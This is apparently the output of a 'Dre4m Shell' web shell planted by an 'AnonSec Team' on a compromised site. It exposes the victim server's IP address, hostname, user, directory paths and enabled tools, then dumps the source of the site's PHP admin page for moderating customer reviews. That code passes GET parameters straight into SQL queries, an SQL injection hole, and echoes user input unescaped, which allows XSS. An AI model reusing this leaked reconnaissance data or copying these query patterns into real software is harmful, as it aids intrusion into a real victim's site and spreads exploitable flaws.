Dre4m Was Here

Dre4m Shell
Server IP : 109.234.164.53 / Your IP : 216.73.216.110
Web Server : Apache
System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64
User : computer3 ( 1098)
PHP Version : 7.1.33
Disable Function : NONE
MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF
Directory : /home/computer3/lavignotte.com/cp-admin/
Upload File :
[ HOME SHELL ]
Current File : /home/computer3/lavignotte.com/cp-admin/avis.php
<?php
require_once('includes/header.php');
require_once('includes/menu.php');

//////////////////////////////////////////////////////////// PAGINATION
require_once('./pagination_fonction.php'); 
$commeo = "48";
//////////////////////////////////////////////////////////// PAGINATION

if (isset($_GET['valid'])) {
  $id = $_GET['valid'];
  $bdd->exec("UPDATE " . $GLOBALS['db_table']['avis'] . " SET status = 1 WHERE id = $id");
  echo '<script>';
  echo 'window.location = "./avis.php"';
  echo '</script>';
}
if (isset($_GET['validon'])) {
  $id = $_GET['validon'];
  $bdd->exec("UPDATE " . $GLOBALS['db_table']['avis'] . " SET status = 0 WHERE id = $id");
  echo '<script>';
  echo 'window.location = "./avis.php"';
  echo '</script>';
}

?>
<div class="container">
  <div class="row">
    <div class="span12">
      <div class="page-header">
        <h1>Liste de tous les Avis</h1>

  
<br />
Classement par ordre d&eacute;croissant (par <?php echo$commeo ?>). Pour r&eacute;pondre &agrave; un Avis il suffit de le Valider pour avoir acc&egrave;s au bouton.
<br /><br />

      </div>
    </div>
  </div>
  <table class="table table-bordered ">
    <thead>
      <tr>
        <th class="span1 center">N.Ordre</th>
        <th class="span1 center">E-mail</th>
        <th class="span2 center">Auteur</th>
        <th class="span2 center">Date</th>
        <th class="span1 center">Etat</th>
        <th class="span1 center">Op&eacute;rations</th>                                        
      </tr>
    </thead>
    <tbody>

      <?php

$comptc =0;

//////////////////////////////////////////////////////////// PAGINATION
    $res = $GLOBALS['bdd']->query("SELECT count(id) AS nb_total FROM avis WHERE title !='' AND  comment !='' AND id_parent ='0'");
    $columns = $res->fetch();
    $nb_total = $columns['nb_total'];     
      
//////////////////////////////////////////////////////////// PAGINATION
	if (!isset($_GET['debut'])) $_GET['debut'] = 0;
	$nb_affichage_par_page = $commeo;
//////////////////////////////////////////////////////////// PAGINATION



    $requete = $bdd->query("SELECT * FROM avis WHERE title !='' AND  comment !='' AND id_parent ='0'
      ORDER BY id DESC LIMIT ".$_GET['debut'].",".$nb_affichage_par_page." "); 
 
      if ($row = $requete->fetch()) {
        do {

// Colore les cellules tableau
/****************************/
$comptc = $comptc + 1;
if ($comptc % 2 == 1)
{
   $collo = "background:#ddd; border:1px solid #fff";   $collo2 = "background:#ddd; border:1px solid #fff;border:1px solid #fff; border-top:0;border-bottom:0";
}
elseif ($comptc % 2 == 0)
{
   $collo = "background:#fff; border:1 solid #ddd";   $collo2 = "background:#D9FFED; border:1px solid #ddd;border:1px solid #fff; border-left:1px solid #ddd;border-top:0;border-bottom:0";
}

     $par = $row['id_parent'];
     $idd = $row['id'];

    $sqlpma = $GLOBALS['bdd']->query('SELECT * FROM avis 
	WHERE id_parent= '.$idd.'');
    $coma = $sqlpma->fetch();
	$reponse= $coma['comment'];
    ?>

          <tr>
            <td class="center" style="<?php echo$collo2 ?>">
              <b><?php echo $comptc ?></b>
            </td>
 
            <td class="center" style="<?php echo$collo2 ?>">
              <b><?php echo stripcslashes($row['email']) ?></b>
</td>

           
            <td class="span1 font12 center" style="<?php echo$collo2 ?>">
              <b><?php echo stripcslashes($row['auteur']) ?></b>
            </td>
 

            <td class="center" style="<?php echo$collo2 ?>">
                <?php
                setlocale (LC_TIME, 'fr_FR.utf8','fra'); 
                echo utf8_encode(strftime("%A %d-%m-%Y", strtotime($row['date_insere'])));
                ?>   
            </td>
           

            <td class="center" style="<?php echo$collo2 ?>">
<?php if ($row['status'] == '1') { echo'En ligne'; } ?>       
<?php if ($row['status'] == '0') { echo'En attente'; } ?>       
            </td>


            <td class="center" style="<?php echo$collo2 ?>">
<?php if ($row['status'] == '0') {  ?>       
              <a href="./avis.php?valid=<?php echo $row['id']; ?>" onclick="return confirm('Etes vous sur de vouloir valider cet avis ?');">
                <img src="assets/img/offline.png" title="Valider cet Avis">
              </a>
<?php  } else { 


if (empty($reponse)){ ?>

              <a href="./avis.php?validon=<?php echo $row['id']; ?>" onclick="return confirm('Etes vous sur de vouloir bloquer cet avis ?');">
                <img src="assets/img/online.png" title="Bloquer cet Avis">
              </a>

<?php  } else { ?>





              <a href="#">
                <img src="assets/img/online.png" title="Avis valid&eacute;">
              </a>
<?php  } 

 }
?>

&nbsp;

<?php 
if ($row['status'] == '1') {    
if (empty($reponse)){ ?>


              <a href="avis2_reponse.php?retour=avis.php&id=<?php echo $row['id']; ?>" title="R&eacute;pondre" >
                <img src="assets/img/edit.png">
              </a>

<?php } else { 

    } 
 }
?>





           </td>
          </tr>



	<tr>
		<td colspan="6" style="<?php echo$collo2 ?>;border-top:1px dashed #333;padding:30px;padding-top:10px;">

<?php if ($row['etoiles'] =='1') { ?><img src="../images/etoile_1.png" height="30"/><?php } ?>        
<?php if ($row['etoiles'] =='2') { ?><img src="../images/etoile_2.png" height="30"/><?php } ?>        
<?php if ($row['etoiles'] =='3') { ?><img src="../images/etoile_3.png" height="30"/><?php } ?>        
<?php if ($row['etoiles'] =='4') { ?><img src="../images/etoile_4.png" height="30"/><?php } ?>        
<?php if ($row['etoiles'] =='5') { ?><img src="../images/etoile_5.png" height="30"/><?php } ?>        
<br />
<br /> 

              <b><?php echo stripcslashes($row['title']) ?></b><br />

              <?php echo stripcslashes($row['comment']) ?> 
<br />              <b><i><?php echo $row['auteur'] ?></i></b>
<br /> </td>
	</tr>


<?php if (!empty($reponse)){ ?>
          <tr>

            <td class="center" style="<?php echo$collo2 ?>">
<div style="margin-left:20%;margin-top:-30px"></div><br /><br />
            </td>

            <td class="center" style="background:#FFFFCC; border:1 solid #fff;color:#cc3300">
            <b><?php echo stripcslashes($coma['title']) ?></b> du :   <br /><b> 
           <?php
                setlocale (LC_TIME, 'fr_FR.utf8','fra'); 
                echo utf8_encode(strftime("%A %d-%m-%Y", strtotime($coma['date_insere'])));
           ?> </b>
            </td>

            <td colspan="4" class="center" style="background:#FFFFCC; border:1 solid #fff;color:#cc3300">
              <?php echo stripcslashes($coma['comment']) ?> 
<br />              <b><i><?php echo $coma['auteur'] ?></i></b>


            </td>



          </tr>



<?php
}
?>



          <?php



        }while ($row = $requete->fetch());
      } else {
        echo 'Aucun avis &agrave; afficher !!!';
      }
      ?>

    </tbody>
  </table>
  
<div class="pagin">
<?php
//////////////////////////////////////////////////////////// PAGINATION
//mysql_free_result ($requete);
  echo '<b>'.barre_navigation($nb_total, $nb_affichage_par_page, $_GET['debut'], 8).'</b>';
// on lib?e l'espace m?oire allou?pour cette requ?e
// mysql_free_result ($resultat);
//////////////////////////////////////////////////////////// PAGINATION
?>
<br /><br />
</div>
  
</div>













<?php
include_once('includes/footer.php');
?>
Anon7 - 2022
AnonSec Team